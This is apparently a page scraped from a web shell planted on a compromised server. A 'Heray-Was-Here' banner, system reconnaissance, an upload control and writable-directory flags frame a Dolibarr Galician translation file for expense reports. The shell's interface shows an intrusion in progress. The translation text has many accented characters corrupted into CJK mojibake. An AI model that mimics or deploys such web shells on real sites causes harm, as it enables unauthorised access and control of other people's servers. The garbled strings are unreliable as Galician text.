Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/langs/gl_ES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/langs/gl_ES/trips.lang
# Dolibarr language file - Source file is en_US - trips
ShowExpenseReport=Ver informe de gastos
Trips=Informes de gastos
TripsAndExpenses=Informes de gastos
TripsAndExpensesStatistics=Estat铆sticas de informes de gastos
TripCard=Ficha de informe gasto
AddTrip=Crear informe de informes de gasto
ListOfTrips=Listaxe de informes de gastos
ListOfFees=Listaxe de honorarios
TypeFees=Tipos de honorarios
ShowTrip=Ver informe de gastos
NewTrip=Novo informe de gasto
LastExpenseReports=脷ltimos %s informes de gastos
AllExpenseReports=Todos os informes de gastos
CompanyVisited=Empresa/organizaci贸n visitada
FeesKilometersOrAmout=Importe ou quil贸metros
DeleteTrip=Eliminar informe de gasto
ConfirmDeleteTrip=驴Est谩 certo de querer eliminar este informe de gasto?
ListTripsAndExpenses=Listaxe de informe de gastos
ListToApprove=Agardando aprobaci贸n
ExpensesArea=脕rea de informe de gastos
ClassifyRefunded=Clasificar 'Reembolsado'
ExpenseReportWaitingForApproval=Foi enviado un novo informe de gasto para ser aprobado
ExpenseReportWaitingForApprovalMessage=Foi enviado un novo informe de gasto e est谩 agardando para ser aprobado.<br>- Usuario: %s<br>- Periodo. %s<br>Faga clic aqu铆 para validalo: %s
ExpenseReportWaitingForReApproval=Foi enviado un novo informe de gasto para aprobalo de novo
ExpenseReportWaitingForReApprovalMessage=Foi enviado un novo informe de gasto e est谩 agardando para ser aprobado de novo.<br>O %s, rexeitou a s煤a aprobaci贸n por esta raz贸n: %s<br>Foi proposta unha nova versi贸n e agarda a s煤a aprobaci贸n.<br>- Usuario: %s<br>- Periodo. %s<br>Faga clic aqu铆 para validalo: %s
ExpenseReportApproved=Un novo informe de gasto foi aprobado
ExpenseReportApprovedMessage=O informe de gasto %s foi aprobado.<br>- Usuario: %s<br>- Aprobado por: %s<br>Faga clic aqu铆 para validalo: %s
ExpenseReportRefused=Un informe de gasto foi rexeitado
ExpenseReportRefusedMessage=O informe de gasto %s foi rexeitado.<br>- Usuario: %s<br>- Rexeitado por: %s<br>- Motivo do rexeitamento: %s<br>Faga clic aqu铆 ver o gasto: %s
ExpenseReportCanceled=Un informe de gasto foi cancelado
ExpenseReportCanceledMessage=O informe de gasto %s foi cancelado.<br>- Usuario: %s<br>- Cancelado por: %s<br>- Motivo da cancelaci贸n: %s<br>Faga clic aqu铆 ver o gasto: %s
ExpenseReportPaid=Un informe de gasto foi pagado
ExpenseReportPaidMessage=O informe de gasto %s foi pagado.<br>- Usuario: %s<br>- Pagado por: %s<br>Faga clic aqu铆 ver o gasto: %s
TripId=Id de informe de gasto
AnyOtherInThisListCanValidate=Persoa que ser谩 informada para validar a solicitude.
TripSociete=Informaci贸n da empresa
TripNDF=Informaci贸n do informe de gasto
PDFStandardExpenseReports=Padr贸n estandar para xerar un documento de informe de gasto
ExpenseReportLine=Li帽a de informe gasto
TF_OTHER=Outro
TF_TRIP=Transporte
TF_LUNCH=Xantar
TF_METRO=Metro
TF_TRAIN=Tr茅n
TF_BUS=Autocar
TF_CAR=Coche
TF_PEAGE=Peaxe
TF_ESSENCE=Combustible
TF_HOTEL=Hotel
TF_TAXI=Taxi
EX_KME=Custos de quilometraxe
EX_FUE=Combustible
EX_HOT=Hotel
EX_PAR=Estacionamento
EX_TOL=Peaxe
EX_TAX=Impostos varios
EX_IND=Subscrici贸n de indemnizaci贸n por transporte
EX_SUM=Mantemento
EX_SUO=Material de oficina
EX_CAR=Aluguer de veh铆culos
EX_DOC=Documentaci贸n
EX_CUR=Os clientes reciben
EX_OTR=Outros receptores
EX_POS=Franqueo
EX_CAM=Mantemento e reparaci贸n
EX_EMM=Alimentaci贸n de empregados
EX_GUM=Alimentaci贸n dos h贸spedes
EX_BRE=Almorzo
EX_FUE_VP=Combustible
EX_TOL_VP=Peaxe
EX_PAR_VP=Estacionamento
EX_CAM_VP=Mantemento e reparaci贸ns
DefaultCategoryCar=Modo de transporte predeterminado
DefaultRangeNumber=N煤mero de rango predeterminado
UploadANewFileNow=Subir un novo documento agora
Error_EXPENSEREPORT_ADDON_NotDefined=Erro, a regra para a ref de numeraci贸n do informe de gastos non se definiu na configuraci贸n do m贸dulo "Informe de gastos"
ErrorDoubleDeclaration=Declarou outro informe de gastos nun intervalo de datas similar.
AucuneLigne=Non hai gastos declarados
ModePaiement=Modo de pagamento
VALIDATOR=Usuario responsable para aprobaci贸n
VALIDOR=Aprobado por
AUTHOR=Rexistrado por
AUTHORPAIEMENT=Pagado por
REFUSEUR=Denegado por
CANCEL_USER=Eliminado por
MOTIF_REFUS=Raz贸n
MOTIF_CANCEL=Raz贸n
DATE_REFUS=Data de denegaci贸n
DATE_SAVE=Data de validaci贸n
DATE_CANCEL=Data de cancelaci贸n
DATE_PAIEMENT=Data de pagamento
ExpenseReportRef=Ref. informe de gasto
ValidateAndSubmit=Validar e enviar para aprobar
ValidatedWaitingApproval=Validado (agardando aprobaci贸n)
NOT_AUTHOR=Non 茅 o autor deste informe de gasto. Operaci贸n cancelada.
ConfirmRefuseTrip=驴Est谩 certo de querer denegar este informe de gasto?
ValideTrip=Aprobar informe de gasto
ConfirmValideTrip=驴Est谩 certo de querer aprobar este informe de gasto?
PaidTrip=Pagarinforme de  gasto
ConfirmPaidTrip=驴Est谩 certo de querer cambiar o estado deste informe de gasto a "Pagado"?
ConfirmCancelTrip=驴Est谩 certo de querer cancelar este informe de gasto?
BrouillonnerTrip=Devolver o informe de gasto ao estado "Borrador"
ConfirmBrouillonnerTrip=驴Est谩 certo de querer devolver este informe de gasto ao estado "Borrador"?
SaveTrip=Validar informe de gasto
ConfirmSaveTrip=驴Est谩 certo de querer validar este informe de gasto?
NoTripsToExportCSV=Sen informe de gasto a exportar para este periodo.
ExpenseReportPayment=Informe de pagamentos de gastos
ExpenseReportsToApprove=Informe de gastos a aprobar
ExpenseReportsToPay=Informe de gastos a pagar
ConfirmCloneExpenseReport=驴Est谩 certo de querer eliminar este informe de gastos?
ExpenseReportsIk=Configuraci贸n das tarifas de quilometraxe
ExpenseReportsRules=Regras de informe de gastos
ExpenseReportIkDesc=Pode modificar o c谩lculo do gasto en quil贸metros por categor铆a e intervalo que se definiron previamente. <b> d </b> 茅 a distancia en quil贸metros
ExpenseReportRulesDesc=Pode definir regras de importe m谩ximo para os informes de gastos. Estas regras aplicaranse cando se engada un novo gasto a un informe de gastos 
expenseReportOffset=Dec谩logo
expenseReportCoef=Coeficiente
expenseReportTotalForFive=Exemplo con <u>d</u>= 5
expenseReportRangeFromTo=de %d a %d
expenseReportRangeMoreThan=mais de %d
expenseReportCoefUndefined=(valor non definido)
expenseReportCatDisabled=Categor铆a deshabilitada - vexa o diccionario c_exp_tax_cat
expenseReportRangeDisabled=Intervalo deshabilitado: consulte o diccionario c_exp_tax_range
expenseReportPrintExample=offset + (d x coef) = %s
ExpenseReportApplyTo=Aplicar a
ExpenseReportDomain=Dominio a aplicar
ExpenseReportLimitOn=L铆mite en
ExpenseReportDateStart=Data inicio
ExpenseReportDateEnd=Data fin
ExpenseReportLimitAmount=Importe m谩ximo
ExpenseReportRestrictive=Exceso prohibido
AllExpenseReport=Todo tipo de informe de gastos
OnExpense=Li帽a de gastos
ExpenseReportRuleSave=Foi gardada a regra de informe de gastos
ExpenseReportRuleErrorOnSave=Erro: %s
RangeNum=Intervalo %d
ExpenseReportConstraintViolationError=Importe m谩ximo excedido (regra %s): %s 茅 superior a %s  (exceso prohibido) 
byEX_DAY=por d铆a (limitaci贸n a %s)
byEX_MON=por mes (limitaci贸n a %s)
byEX_YEA=por ano (limitaci贸n a %s)
byEX_EXP=por li帽a(limitaci贸n a %s)
ExpenseReportConstraintViolationWarning=Importe m谩ximo excedido (regra %s): %s 茅 superior a %s (Exceso autorizado) 
nolimitbyEX_DAY=por d铆a (sen limitaci贸n)
nolimitbyEX_MON=por mes (sen limitaci贸n)
nolimitbyEX_YEA=por ano (sen limitaci贸n)
nolimitbyEX_EXP=por li帽a (sen limitaci贸n)
CarCategory=Categor铆a do veh铆culo
ExpenseRangeOffset=Importe compensado: %s
RangeIk=Intervalo de quilometraxe
AttachTheNewLineToTheDocument=Engadir a li帽a a un documento actualizado

Hry